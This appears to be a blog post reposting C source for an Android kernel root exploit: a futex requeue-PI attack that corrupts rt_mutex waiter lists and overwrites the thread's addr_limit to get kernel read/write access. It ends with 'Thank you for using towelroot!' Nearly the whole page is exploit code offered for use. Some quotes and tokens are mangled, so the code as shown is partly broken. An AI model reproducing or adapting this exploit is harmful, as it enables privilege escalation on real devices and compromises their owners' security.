Android libfutex exploit

  1. /* getroot 2014/07/12 */
    /*
    * Copyright (C) 2014 CUBE
    *
    * This program is free software: you can redistribute it and/or modify
    * it under the terms of the GNU General Public License as published by
    * the Free Software Foundation, either version 3 of the License, or
    * (at your option) any later version.
    *
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    * GNU General Public License for more details.
    *
    * You should have received a copy of the GNU General Public License
    * along with this program. If not, see <http://www.gnu.org/licenses/&gt;.
    *
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdbool.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <pthread.h>
    #include <sys/mman.h>
    #include <sys/syscall.h>
    #include <linux/futex.h>
    #include <sys/resource.h>
    #include <string.h>
    #include <fcntl.h>
    extern void futex_process_kernel_memory_requests(void);
    #define FUTEX_WAIT_REQUEUE_PI 11
    #define FUTEX_CMP_REQUEUE_PI 12
    #define USER_PRIO_BASE 120
    #define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
    #define LOCAL_PORT 5551
    #define SIGNAL_HACK_KERNEL 12
    struct task_struct;
    struct thread_info {
      unsigned long flags;
      int preempt_count;
      unsigned long addr_limit;
      struct task_struct *task;
      /* … */
    };
    struct list_head;
    struct list_head {
      struct list_head *next;
      struct list_head *prev;
    };
    struct plist_node {
      int prio;
      struct list_head prio_list;
      struct list_head node_list;
    };
    struct rt_mutex;
    struct rt_mutex_waiter {
      struct plist_node list_entry;
      struct plist_node pi_list_entry;
      struct task_struct *task;
      struct rt_mutex *lock;
    };
    struct mmsghdr {
      struct msghdr msg_hdr;
      unsigned int msg_len;
    };
    static int swag = 0;
    static int swag2 = 0;
    static pid_t waiter_thread_tid;
    static pthread_mutex_t done_lock;
    static pthread_cond_t done;
    static pthread_mutex_t is_thread_desched_lock;
    static pthread_cond_t is_thread_desched;
    static pthread_mutex_t is_thread_awake_lock;
    static pthread_cond_t is_thread_awake;
    static pthread_mutex_t is_kernel_writing_lock;
    static volatile int do_socket_tid_read = 0;
    static volatile int did_socket_tid_read = 0;
    static volatile int do_hack_tid_read = 0;
    static volatile int did_hack_tid_read = 0;
    static volatile int do_dm_tid_read = 0;
    static volatile int did_dm_tid_read = 0;
    static pid_t last_tid = 0;
    static volatile int_sync_time_out = 0;
    #if 0
    ssize_t
    read_kernel_memory(const void *src, void *dest, size_t count)
    {
    int pipefd[2];
    ssize_t len;
    pipe(pipefd);
    len = write(pipefd[1], src, count);
    if (len != count) {
    printf(“FAILED READ #0 @ %p : %d %d\n”, src, (int)len, errno);
    goto error_exit;
    }
    len = read(pipefd[0], dest, count);
    if (len != count) {
    printf(“FAILED READ #1 @ %p : %d %d\n”, src, (int)len, errno);
    }
    error_exit:
    close(pipefd[0]);
    close(pipefd[1]);
    return len;
    }
    ssize_t
    write_kernel_memory(void *dest, const void *src, size_t count)
    {
    int pipefd[2];
    ssize_t len;
    pipe(pipefd);
    len = write(pipefd[1], src, count);
    if (len != count) {
    printf(“FAILED WRITE #0 @ %p : %d %d\n”, dest, (int)len, errno);
    goto error_exit;
    }
    len = read(pipefd[0], dest, count);
    if (len != count) {
    printf(“FAILED WRITE #1 @ %p : %d %d\n”, dest, (int)len, errno);
    }
    error_exit:
    close(pipefd[0]);
    close(pipefd[1]);
    return len;
    }
    #endif
    static void
    infinite_loop(void)
    {
      while (1) {
        sleep(3600);
      }
    }
    static int
    read_voluntary_ctxt_switches(pid_t pid)
    {
      char filename[256];
      FILE *fp;
      int vcscnt = –1;
      sprintf(filename, /proc/self/task/%d/status, pid);
      fp = fopen(filename, rb);
      if (fp) {
        char filebuf[4096];
        char *pdest;
        fread(filebuf, 1, sizeof filebuf, fp);
        pdest = strstr(filebuf, voluntary_ctxt_switches);
        vcscnt = atoi(pdest + 0x19);
        fclose(fp);
      }
      return vcscnt;
    }
    static void
    sync_timeout_task(int sig)
    {
      int_sync_time_out = 1;
    }
    static int
    sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
    {
      struct sigaction act;
      int vcscnt;
      int_sync_time_out = 0;
      act.sa_handler = sync_timeout_task;
      act.sa_mask = 0;
      act.sa_flags = 0;
      act.sa_restorer = NULL;
      sigaction(SIGALRM, &act, NULL);
      alarm(3);
      while (*do_request == 0) {
        if (int_sync_time_out) {
          return1;
        }
      }
      alarm(0);
      vcscnt = read_voluntary_ctxt_switches(pid);
      *did_request = 1;
      while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
        usleep(10);
      }
      return 0;
    }
    static void
    sync_with_parent(int volatile *do_request, int volatile *did_request)
    {
      *do_request = 1;
      while (*did_request == 0) {
      }
    }
    static void
    kernel_hack_task(int signum)
    {
      pthread_mutex_lock(&is_thread_awake_lock);
      pthread_cond_signal(&is_thread_awake);
      pthread_mutex_unlock(&is_thread_awake_lock);
      sync_with_parent(&do_hack_tid_read, &did_hack_tid_read);
      pthread_mutex_lock(&is_kernel_writing_lock);
      futex_process_kernel_memory_requests();
      pthread_mutex_unlock(&is_kernel_writing_lock);
      pthread_mutex_lock(&done_lock);
      pthread_cond_signal(&done);
      pthread_mutex_unlock(&done_lock);
    }
    static void *
    call_futex_lock_pi_with_priority(void *arg)
    {
      int prio;
      struct sigaction act;
      int ret;
      prio = (int)arg;
      last_tid = syscall(__NR_gettid);
      pthread_mutex_lock(&is_thread_desched_lock);
      pthread_cond_signal(&is_thread_desched);
      act.sa_handler = kernel_hack_task;
      act.sa_mask = 0;
      act.sa_flags = 0;
      act.sa_restorer = NULL;
      sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
      setpriority(PRIO_PROCESS, 0, prio);
      pthread_mutex_unlock(&is_thread_desched_lock);
      sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
      ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
      printf(futex dm: %d\n, ret);
      return NULL;
    }
    static pid_t
    do_futex_lock_pi_with_priority(int prio)
    {
      pthread_t th4;
      pid_t pid;
      do_dm_tid_read = 0;
      did_dm_tid_read = 0;
      pthread_mutex_lock(&is_thread_desched_lock);
      pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)prio);
      pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
      pid = last_tid;
      sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
      pthread_mutex_unlock(&is_thread_desched_lock);
      return pid;
    }
    static int
    server_for_setup_rt_waiter(void)
    {
      int sockfd;
      int yes = 1;
      struct sockaddr_in addr = {0};
      sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
      setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
      addr.sin_family = AF_INET;
      addr.sin_port = htons(LOCAL_PORT);
      addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
      bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
      listen(sockfd, 1);
      return accept(sockfd, NULL, NULL);
    }
    static int
    connect_server_socket(void)
    {
      int sockfd;
      struct sockaddr_in addr = {0};
      int ret;
      int sock_buf_size;
      sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
      if (sockfd < 0) {
        printf(socket failed\n);
        usleep(10);
      }
      else {
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LOCAL_PORT);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
      }
      while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
        usleep(10);
      }
      sock_buf_size = 1;
      setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
      return sockfd;
    }
    static void *
    client_to_setup_rt_waiter(void *waiter_plist)
    {
      int sockfd;
      struct mmsghdr msgvec[1];
      struct iovec msg_iov[8];
      unsigned long databuf[0x20];
      int i;
      int ret;
      waiter_thread_tid = syscall(__NR_gettid);
      setpriority(PRIO_PROCESS, 0, 12);
      sockfd = connect_server_socket();
      for (i = 0; i < ARRAY_SIZE(databuf); i++) {
        databuf[i] = (unsigned long)waiter_plist;
      }
      for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
        msg_iov[i].iov_base = waiter_plist;
        msg_iov[i].iov_len = 0x10;
      }
      msgvec[0].msg_hdr.msg_name = databuf;
      msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
      msgvec[0].msg_hdr.msg_iov = msg_iov;
      msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
      msgvec[0].msg_hdr.msg_control = databuf;
      msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
      msgvec[0].msg_hdr.msg_flags = 0;
      msgvec[0].msg_len = 0;
      syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
      sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
      ret = 0;
      while (1) {
        ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
        if (ret <= 0) {
          break;
        }
      }
      if (ret < 0) {
        perror(SOCKSHIT);
      }
      printf(EXIT WTF\n);
      return NULL;
    }
    static struct rt_mutex_waiter *
    rt_mutex_waiter_first(void *mem)
    {
      return (struct rt_mutex_waiter *)(mem – 4);
    }
    static void
    plist_set_next(struct list_head *node, struct list_head *head)
    {
      node->next = head;
      head->prev = node;
    }
    static void
    setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
    {
      rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
      rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
      plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
      plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
    }
    static bool
    do_exploit(void *waiter_plist)
    {
      void *magicval;
      struct rt_mutex_waiter *rt_waiters;
      pid_t pid;
      struct thread_info *hack_thread_stack;
      rt_waiters = rt_mutex_waiter_first(waiter_plist);
      syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
      while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
        usleep(10);
      }
      do_futex_lock_pi_with_priority(6);
      do_futex_lock_pi_with_priority(7);
      swag2 = 0;
      do_socket_tid_read = 0;
      did_socket_tid_read = 0;
      syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
      if (sync_with_child(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
        printf(failed to exploit…\n);
        return false;
      }
      setup_waiter_params(rt_waiters);
      magicval = rt_waiters[0].list_entry.prio_list.next;
      do_futex_lock_pi_with_priority(11);
      if (rt_waiters[0].list_entry.prio_list.next == magicval) {
        printf(failed to exploit…\n);
        return false;
      }
      pthread_mutex_lock(&is_kernel_writing_lock);
      setup_waiter_params(rt_waiters);
      pid = do_futex_lock_pi_with_priority(11);
      magicval = rt_waiters[0].list_entry.prio_list.next;
      hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000);
    #ifdef DEBUG
      printf(hack thread_info: %p\n, hack_thread_stack);
    #endif
      pthread_mutex_lock(&is_thread_awake_lock);
      kill(pid, SIGNAL_HACK_KERNEL);
      pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
      pthread_mutex_unlock(&is_thread_awake_lock);
      sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read);
      setup_waiter_params(rt_waiters);
      rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit;
      do_futex_lock_pi_with_priority(12);
    #ifdef DEBUG
      printf(GOING\n);
    #endif
      pthread_mutex_unlock(&is_kernel_writing_lock);
      return true;
    }
    int
    futex_exploit_main(void)
    {
      pthread_t thread_client_to_setup_rt_waiter;
      unsigned long mapped_address;
      void *waiter_plist;
      mapped_address = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, –1, 0);
      if (mapped_address < 0x80000000) {
        printf(mmap failed?\n);
        return 1;
      }
      waiter_plist = (void *)mapped_address + 0x800;
      pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
      if (server_for_setup_rt_waiter() < 0) {
        printf(Server failed\n);
        return 1;
      }
      pthread_mutex_lock(&done_lock);
      if (!do_exploit(waiter_plist)) {
        return 1;
      }
      pthread_cond_wait(&done, &done_lock);
      pthread_mutex_unlock(&done_lock);
      printf(Thank you for using towelroot!\n);
      return 0;
    }

发表评论

Fill in your details below or click an icon to log in:

WordPress.com 徽标

您正在使用您的 WordPress.com 账号评论。 登出 /  更改 )

Google photo

您正在使用您的 Google 账号评论。 登出 /  更改 )

Twitter picture

您正在使用您的 Twitter 账号评论。 登出 /  更改 )

Facebook photo

您正在使用您的 Facebook 账号评论。 登出 /  更改 )

Connecting to %s